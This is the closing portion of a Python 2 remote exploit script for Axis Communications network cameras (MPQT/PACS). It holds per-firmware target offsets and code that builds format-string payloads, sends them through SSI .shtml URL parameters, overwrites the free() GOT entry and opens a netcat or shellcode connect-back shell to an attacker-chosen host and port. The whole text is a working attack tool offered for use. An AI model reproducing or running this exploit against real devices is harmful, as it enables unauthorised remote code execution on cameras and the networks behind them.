'ARM-NCSH-5.20x': [ # AXIS P1311 5.20 (id=root)
0x1c1b4, # Adjust to GOT free() address
0x10178, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
61, # 1st POP's
115, # 2nd POP's
143, # 3rd POP's
118, # 4th POP's
'NCSH2' # Shellcode type (Netcat Shell)
],
# MPQT
'ARM-NCSH-5.2x': [ #
0x1c1b4, # Adjust to GOT free() address
0x1013c, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
61, # 1st POP's
115, # 2nd POP's
143, # 3rd POP's
118, # 4th POP's
'NCSH2' # Shellcode type (Netcat Shell)
],
# MPQT
'ARM-NCSH-5.4x': [ #
0x1c1b4, # Adjust to GOT free() address
0x101fc, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
61, # 1st POP's
115, # 2nd POP's
143, # 3rd POP's
118, # 4th POP's
'NCSH2' # Shellcode type (Netcat Shell)
],
#
# Using POP format string, AKA 'Old Style'
#
# MPQT
'ARM-NCSH-5.5x': [ #
0x1c15c, # Adjust to GOT free() address
0xfdcc, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
97, # 1st POP's
0, # 2nd POP's
41, # 3rd POP's
0, # 4th POP's
'NCSH1' # Shellcode type (Netcat Shell)
],
# MPQT
'ARM-NCSH-5.6x': [ #
0x1c15c, # Adjust to GOT free() address
0xfcec, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
97, # 1st POP's
0, # 2nd POP's
41, # 3rd POP's
0, # 4th POP's
'NCSH1' # Shellcode type (Netcat Shell)
],
# MPQT
'ARM-NCSH-5.7x': [ #
0x1c1c0, # Adjust to GOT free() address
0xf800, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
132, # 1st POP's
0, # 2nd POP's
34, # 3rd POP's
0, # 4th POP's
'NCSH1' # Shellcode type (Netcat Shell)
],
# Will go in endless loop after exit of nc shell... DoS sux
# MPQT
'ARM-NCSH-5.8x': [ #
0x1b39c, # Adjust to GOT free() address
0xf8c0, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
98, # 1st POP's
0, # 2nd POP's
34, # 3rd POP's
1, # 4th POP's
'NCSH1' # Shellcode type (Netcat Shell)
],
# MPQT
'ARM-NCSH-6.1x': [ #
0x1d2a4, # Adjust to GOT free() address
# 0xecc4, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
0xecc8, # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
106, # 1st POP's
0, # 2nd POP's
34, # 3rd POP's
1, # 4th POP's
'NCSH1' # Shellcode type (Netcat Shell)
],
#
# Using POP format string, AKA 'Old Style'
#
# MPQT
'CRISv32-5.5x': [ #
0x8d148, # Adjust to GOT free() address
0x8f5a8, # .bss shellcode address
4, # 1st POP's
13, # 2nd POP's
'axis', # Aligns injected code
470, # How big buffer before shellcode
'CRISv32' # Shellcode type (Crisv32)
],
# MPQT
'CRISv32-5.4x': [ #
0x8d0e0, # Adjust to GOT free() address
0x8f542, # .bss shellcode address
4, # 1st POP's
13, # 2nd POP's
'axis', # Aligns injected code
470, # How big buffer before shellcode
'CRISv32' # Shellcode type (Crisv32)
],
# MPQT
'CRISv32-5.2x': [ #
0x8d0b4, # Adjust to GOT free() address
0x8f4d6, # .bss shellcode address
4, # 1st POP's
13, # 2nd POP's
'axis', # Aligns injected code
470, # How big buffer before shellcode
'CRISv32' # Shellcode type (Crisv32)
],
# MPQT
'CRISv32-5.20.0': [ #
0x8d0e4, # Adjust to GOT free() address
0x8f546, # .bss shellcode address
4, # 1st POP's
13, # 2nd POP's
'axis', # Aligns injected code
470, # How big buffer before shellcode
'CRISv32' # Shellcode type (Crisv32)
]
}
if self.target == 0:
return target_db
if not self.target in target_db:
print "[!] Unknown FMS key: %s!" % self.target
sys.exit(1)
if self.verbose:
print "[Verbose] Number of availible FMS keys:",len(target_db)
return target_db
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
def __init__(self,verbose):
self.verbose = verbose
# Check if IP is valid
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
# Check if PORT is valid
def Port(self,PORT):
self.PORT = PORT
if int(self.PORT) < 1 or int(self.PORT) > 65535:
return False
else:
return True
# Check if HOST is valid
def Host(self,HOST):
self.HOST = HOST
try:
# Check valid IP
socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
# Or we check again if it is correct typed IP
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
# Else check valid DNS name, and use the IP address
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
if __name__ == '__main__':
#
# Help, info and pre-defined values
#
INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]'
HTTP = "http"
HTTPS = "https"
proto = HTTP
verbose = False
noexploit = False
lhost = '192.168.0.1' # Default Local HOST
lport = '31337' # Default Local PORT
rhost = '192.168.0.90' # Default Remote HOST
rport = '80' # Default Remote PORT
# Not needed for the SSI exploit, here for possible future usage.
# creds = 'root:pass'
creds = False
#
# Try to parse all arguments
#
try:
arg_parser = argparse.ArgumentParser(
# prog=sys.argv[0],
prog='axis-ssid-PoC.py',
description=('[*]' + INFO + '\n'))
arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
arg_parser.add_argument('--fms', required=False, help='Manual FMS key')
if creds:
arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: %s\n" % str(e)
sys.exit(1)
# We want at least one argument, so print out help
if len(sys.argv) == 1:
arg_parser.parse_args(['-h'])
print "\n[*]",INFO
if args.verbose:
verbose = args.verbose
# Print out info from dictionary
if args.dict:
target = FMSdb(rhost,verbose).FMSkey(0)
print "[db] Number of FMS keys:",len(target)
# Print out detailed info from dictionary
if verbose:
print "[db] Target details of FMS Keys availible for manual xploiting"
print "\n[FMS Key]\t[GOT Address]\t[BinSh Address]\t[POP1]\t[POP2]\t[POP3]\t[POP4]\t[Shellcode]"
for tmp in range(0,len(target)):
Key = sorted(target.keys())[tmp]
temp = re.split('[-]',Key)[0:10]
if temp[1] == 'NCSH':
print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',target[Key][4],'\t',target[Key][5],'\t',target[Key][6]
print "\n[FMS Key]\t[GOT Address]\t[BSS Address]\t[POP1]\t[POP2]\t[Align]\t[Buf]\t[Shellcode]"
for tmp in range(0,len(target)):
Key = sorted(target.keys())[tmp]
temp = re.split('[-]',Key)[0:10]
if temp[1] != 'NCSH':
print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',len(target[Key][4]),'\t',target[Key][5],'\t',target[Key][6]
print "\n"
else:
print "[db] Target FMS Keys availible for manual xploiting instead of using auto mode:"
Key = ""
for tmp in range(0,len(target)):
Key += sorted(target.keys())[tmp]
Key += ', '
print '\n',Key,'\n'
sys.exit(0)
#
# Check validity, update if needed, of provided options
#
if args.https:
proto = HTTPS
if not args.rport:
rport = '443'
if creds and args.auth:
creds = args.auth
if args.noexploit:
noexploit = args.noexploit
if args.rport:
rport = args.rport
if args.rhost:
rhost = args.rhost
if args.lport:
lport = args.lport
if args.lhost:
lhost = args.lhost
# Check if LPORT is valid
if not Validate(verbose).Port(lport):
print "[!] Invalid LPORT - Choose between 1 and 65535"
sys.exit(1)
# Check if RPORT is valid
if not Validate(verbose).Port(rport):
print "[!] Invalid RPORT - Choose between 1 and 65535"
sys.exit(1)
# Check if LHOST is valid IP or FQDN, get IP back
lhost = Validate(verbose).Host(lhost)
if not lhost:
print "[!] Invalid LHOST"
sys.exit(1)
# Check if RHOST is valid IP or FQDN, get IP back
rhost = Validate(verbose).Host(rhost)
if not rhost:
print "[!] Invalid RHOST"
sys.exit(1)
#
# Validation done, start print out stuff to the user
#
if noexploit:
print "[i] Test mode selected, no exploiting..."
if args.https:
print "[i] HTTPS / SSL Mode Selected"
print "[i] Remote target IP:",rhost
print "[i] Remote target PORT:",rport
print "[i] Connect back IP:",lhost
print "[i] Connect back PORT:",lport
rhost = rhost + ':' + rport
#
# FMS key is required into this PoC
#
if not args.fms:
print "[!] FMS key is required!"
sys.exit(1)
else:
Key = args.fms
print "[i] Trying with FMS key:",Key
#
# Prepare exploiting
#
# Look up the FMS key in dictionary and return pointer for FMS details to use
target = FMSdb(rhost,verbose).FMSkey(Key)
if target[Key][6] == 'NCSH1':
NCSH1 = target[Key][6]
NCSH2 = ""
elif target[Key][6] == 'NCSH2':
NCSH2 = target[Key][6]
NCSH1 = ""
else:
NCSH1 = ""
NCSH2 = ""
if Key == 'ARM-NCSH-5.8x':
print "\nExploit working, but will end up in endless loop after exiting remote NCSH\nDoS sux, so I'm exiting before that shit....\n\n"
sys.exit(0)
print "[i] Preparing shellcode:",str(target[Key][6])
# We don't use url encoded shellcode with Netcat shell
# This is for MIPS/CRISv32 and ARM shellcode
if not NCSH1 and not NCSH2:
FMSdata = target[Key][4] # This entry aligns the injected shellcode
# Building up the url encoded shellcode for sending to the target,
# and replacing LHOST / LPORT in shellcode to choosen values
# part of first 500 decoded bytes will be overwritten during stage #2, and since
# there is different 'tailing' on the request internally, keep it little more than needed, to be safe.
# Let it be 0x00, just for fun.
FMSdata += '%00' * target[Key][5]
# Connect back IP to url encoded
ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.')))
ip_hex = ip_hex.split()
IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];
# Let's break apart the hex code of LPORT into two bytes
port_hex = hex(int(lport))[2:]
port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
port_hex = port_hex.split()
if (target[Key][6]) == 'MIPSel':
# Connect back PORT
if len(port_hex) == 1:
PP1 = "%ff"
PP0 = '%{:02x}'.format((int(port_hex[0],16)-1))
elif len(port_hex) == 2:
# Little Endian
PP1 = '%{:02x}'.format((int(port_hex[0],16)-1))
PP0 = '%{:02x}'.format(int(port_hex[1],16))
elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32
# Connect back PORT
if len(port_hex) == 1:
PP1 = "%00"
PP0 = '%{:02x}'.format(int(port_hex[0],16))
elif len(port_hex) == 2:
# Little Endian
PP1 = '%{:02x}'.format(int(port_hex[0],16))
PP0 = '%{:02x}'.format(int(port_hex[1],16))
elif (target[Key][6]) == 'CRISv32':
# Connect back PORT
if len(port_hex) == 1:
PP1 = "%00"
PP0 = '%{:02x}'.format(int(port_hex[0],16))
elif len(port_hex) == 2:
# Little Endian
PP1 = '%{:02x}'.format(int(port_hex[0],16))
PP0 = '%{:02x}'.format(int(port_hex[1],16))
else:
print "[!] Unknown shellcode! (%s)" % str(target[Key][6])
sys.exit(1)
# Replace LHOST / LPORT in URL encoded shellcode
shell = shellcode_db(rhost,verbose).sc(target[Key][6])
shell = shell.replace("IP1",IP1)
shell = shell.replace("IP2",IP2)
shell = shell.replace("IP3",IP3)
shell = shell.replace("IP4",IP4)
shell = shell.replace("PP0",PP0)
shell = shell.replace("PP1",PP1)
FMSdata += shell
#
# Calculate the FMS values to be used
#
# Get pre-defined values
ALREADY_WRITTEN = 40 # Already 'written' in the daemon before our FMS
# POP_SIZE = 8
POP_SIZE = 1
GOThex = target[Key][0]
BSShex = target[Key][1]
GOTint = int(GOThex)
# 'One-Write-Where-And-What'
if not NCSH1 and not NCSH2:
POP1 = target[Key][2]
POP2 = target[Key][3]
# Calculate for creating the FMS code
ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
GOTint = (GOTint - ALREADY_WRITTEN)
ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE)
BSSint = int(BSShex)
BSSint = (BSSint - GOTint - ALREADY_WRITTEN)
# if verbose:
# print "[Verbose] Calculated GOTint:",GOTint,"Calculated BSSint:",BSSint
# 'Two-Write-Where-And-What' using "New Style"
elif NCSH2:
POP1 = target[Key][2]
POP2 = target[Key][3]
POP3 = target[Key][4]
POP4 = target[Key][5]
POP2_SIZE = 2
# We need to count higher than provided address for the jump
BaseAddr = 0x10000 + BSShex
# Calculate for creating the FMS code
GOTint = (GOTint - ALREADY_WRITTEN)
ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint
# Calculate FirstWhat value
FirstWhat = BaseAddr - (ALREADY_WRITTEN)
ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat
# Calculate SecondWhat value, so it always is 0x20300
SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE)
shell = shellcode_db(rhost,verbose).sc(target[Key][6])
shell = shell.replace("LHOST",lhost)
shell = shell.replace("LPORT",lport)
FirstWhat = FirstWhat - len(shell)
# if verbose:
# print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat
# 'Two-Write-Where-And-What' using "Old Style"
elif NCSH1:
POP1 = target[Key][2]
POP2 = target[Key][3]
POP3 = target[Key][4]
POP4 = target[Key][5]
POP2_SIZE = 2
# FirstWhat writes with 4 bytes (Y) (0x0002YYYY)
# SecondWhat writes with 1 byte (Z) (0x00ZZYYYY)
if BSShex > 0x10000:
MSB = 1
else:
MSB = 0
# We need to count higher than provided address for the jump
BaseAddr = 0x10000 + BSShex
# Calculate for creating the FMS code
ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
GOTint = (GOTint - ALREADY_WRITTEN)
ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE)
# Calculate FirstWhat value
FirstWhat = BaseAddr - (ALREADY_WRITTEN)
ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE)
# Calculate SecondWhat value, so it always is 0x203[00] or [01]
SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB
shell = shellcode_db(rhost,verbose).sc(target[Key][6])
shell = shell.replace("LHOST",lhost)
shell = shell.replace("LPORT",lport)
GOTint = GOTint - len(shell)
# if verbose:
# print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat
else:
print "[!] NCSH missing, exiting"
sys.exit(1)
#
# Let's start the exploiting procedure
#
#
# Stage one
#
if NCSH1 or NCSH2:
# "New Style" needs to make the exploit in two stages
if NCSH2:
FMScode = do_FMS(rhost,verbose)
# Writing 'FirstWhere' and 'SecondWhere'
# 1st request
FMScode.AddADDR(GOTint) # Run up to free() GOT address
#
# 1st and 2nd "Write-Where"
FMScode.AddDirectParameterN(POP1) # Write 1st Where
FMScode.Add("XX") # Jump up two bytes for next address
FMScode.AddDirectParameterN(POP2) # Write 2nd Where
FMSdata = FMScode.FMSbuild()
else:
FMSdata = ""
print "[>] StG_1: Preparing netcat connect back shell to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))
else:
print "[>] StG_1: Sending and decoding shellcode to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))
# Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM
# Actually, any valid and public readable .shtml file will work...
# (One of the two below seems always to be usable)
#
# For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two
# For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url
#
try:
target_url = "/httpDisabled.shtml?user_agent="
if noexploit:
target_url2 = target_url
else:
target_url2 = "/httpDisabled.shtml?&http_user="
if NCSH2:
html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
else:
html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
except urllib2.HTTPError as e:
if e.code == 404:
print "[<] Error",e.code,e.reason
target_url = "/view/viewer_index.shtml?user_agent="
if noexploit:
target_url2 = target_url
else:
target_url2 = "/view/viewer_index.shtml?&http_user="
print "[>] Using alternative target shtml"
if NCSH2:
html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
else:
html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
except Exception as e:
if not NCSH2:
print "[!] Shellcode delivery failed:",str(e)
sys.exit(1)
#
# Stage two
#
#
# Building and sending the FMS code to the target
#
print "[i] Building the FMS code..."
FMScode = do_FMS(rhost,verbose)
# This is an 'One-Write-Where-And-What' for FMS
#
# Stack Example:
#
# Stack content | Stack address (ASLR)
#
# 0x0 | @0x7e818dbc -> [POP1's]
# 0x0 | @0x7e818dc0 -> [free () GOT address]
# 0x7e818dd0 | @0x7e818dc4>>>>>+ "Write-Where" (%n)
# 0x76f41fb8 | @0x7e818dc8 | -> [POP2's]
# 0x76f3d70c | @0x7e818dcc | -> [BSS shell code address]
# 0x76f55ab8 | @0x7e818dd0<<<<<+ "Write-What" (%n)
# 0x1 | @0x7e818dd4
#
if not NCSH1 and not NCSH2:
FMScode.AddPOP(POP1) # 1st serie of 'Old Style' POP's
FMScode.AddADDR(GOTint) # GOT Address
FMScode.AddWRITEn(1) # 4 bytes Write-Where
# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx)
FMScode.AddPOP(POP2) # 2nd serie of 'Old Style' POP's
FMScode.AddADDR(BSSint) # BSS shellcode address
FMScode.AddWRITEn(1) # 4 bytes Write-What
# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx)
# End of 'One-Write-Where-And-What'
# This is an 'Two-Write-Where-And-What' for FMS
#
# Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd="xxx" -->
# We jump over all SSI tagging to end up directly where "xxx" will
# be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv())
#
# The Trick here is to write lower target address, that we will jump to when calling free(),
# than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT
# address with two LSB writes.
#
elif NCSH2:
#
# Direct parameter access for FMS exploitation are really nice and easy to use.
# However, we need to exploit in two stages with two requests.
# (I was trying to avoid this "Two-Stages" so much as possibly in this exploit developement...)
#
# 1. Write "Two-Write-Where", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB)
# 2. Write with "Two-Write-What", where 1st (LSB) and 2nd (MSB) "Write-Where" pointing to.
#
# With "new style", we can write with POPs independently as we don't depended of same criteria as in "NCSH1",
# we can use any regular "Stack-to-Stack" pointer as we can freely choose the POP-and-Write.
# [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.]
#
# Stack Example:
#
# Stack content | Stack address (ASLR)
#
# 0x7e818dd0 | @0x7e818dc4>>>>>+ 1st "Write-Where" [@Stage One]
# 0x76f41fb8 | @0x7e818dc8 |
# 0x76f3d70c | @0x7e818dcc |
# 0x76f55ab8 | @0x7e818dd0<<<<<+ 1st "Write-What" [@Stage Two]
# 0x1 | @0x7e818dd4
# [....]
# 0x1c154 | @0x7e818e10
# 0x7e818e20 | @0x7e818e14>>>>>+ 2nd "Write-Where" [@Stage One]
# 0x76f41fb8 | @0x7e818e18 |
# 0x76f3d70c | @0x7e818e1c |
# 0x76f55758 | @0x7e818e20<<<<<+ 2nd "Write-What" [@Stage Two]
# 0x1 | @0x7e818e24
#
FMScode.Add(shell)
#
# 1st and 2nd "Write-Where" already done in stage one
#
# 1st and 2nd "Write-What"
#
FMScode.AddADDR(GOTint + FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.
FMScode.AddDirectParameterN(POP3) # Write with 4 bytes (we want to zero out in MSB)
FMScode.AddADDR(SecondWhat + 3) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)
FMScode.AddDirectParameterHHN(POP4) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation
elif NCSH1:
# Could use direct argument addressing here, but I like to keep "old style" as well,
# as it's another interesting concept.
#
# Two matching stack contents -> stack address in row w/o or max two POP's between,
# is needed to write two bytes higher (MSB).
#
#
# Stack Example:
#
# Stack Content | @Stack Address (ASLR)
#
# 0x9c | @7ef2fde8 -> [POP1's]
# [....]
# 0x1 | @7ef2fdec -> [GOTint address]
#------
# 0x7ef2fe84 | @7ef2fdf0 >>>>>+ Write 'FirstWhere' (%n) [LSB]
# -> 'XX' | two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer)
# 0x7ef2fe8c | @7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB]
# ------ | |
# [....] -> [POP3's] | |
# 0x7fb99dc | @7ef2fe7c | |
# 0x7ef2fe84 | @7ef2fe80 | | [Count up to 0x2XXXX]
# 0x7ef2ff6a | @7ef2fe84 <<<<<+ | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX))
# -> [POP4's] |
# (nil) | @7ef2fe88 | [Count up to 0x20300]
# 0x7ef2ff74 | @7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX)
FMScode.Add(shell)
# Write FirstWhere for 'FirstWhat'
FMScode.AddPOP(POP1)
FMScode.AddADDR(GOTint) # Run up to free() GOT address
FMScode.AddWRITEn(1)
# Write SecondWhere for 'SecondWhat'
#
# This is special POP with 1 byte, we can maximum POP 2!
#
# This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement
# for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes.
# Kept as reference as we now using direct parameter access AKA 'New Style" for 5.2x/5.4x
#
if POP2 != 0:
# We only want to write 'SecondWhat' two bytes higher at free() GOT
if POP2 > 2:
print "POP2 can't be greater than two!"
sys.exit(1)
if POP2 == 1:
FMScode.Add("%2c")
else:
FMScode.Add("%1c%1c")
else:
FMScode.Add("XX")
FMScode.AddWRITEn(1)
# Write FirstWhat pointed by FirstWhere
FMScode.AddPOP(POP3) # Old Style POP's
FMScode.AddADDR(FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.
FMScode.AddWRITEn(1) # Write with 4 bytes (we want to zero out in MSB)
# Write SecondWhat pointed by SecondWhere
FMScode.AddPOP(POP4) # Old Style POP's
FMScode.AddADDR(SecondWhat) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)
FMScode.AddWRITEhhn(1) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation
else:
sys.exit(1)
FMSdata = FMScode.FMSbuild()
print "[>] StG_2: Writing shellcode address to free() GOT address:",'0x{:08x}'.format(GOThex),"(%d bytes)" % (len(FMSdata))
# FMS comes here, and calculations start after '=' in the url
try:
if NCSH1 or NCSH2:
html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
else:
html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode
except urllib2.HTTPError as e:
print "[!] Payload delivery failed:",str(e)
sys.exit(1)
except Exception as e:
# 1st string returned by HTTP mode, 2nd by HTTPS mode
if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
print "[i] Timeout! Payload delivered sucessfully!"
else:
print "[!] Payload delivery failed:",str(e)
sys.exit(1)
if noexploit:
print "\n[*] Not exploiting, no shell...\n"
else:
print "\n[*] All done, enjoy the shell...\n"
#
# [EOF]
#
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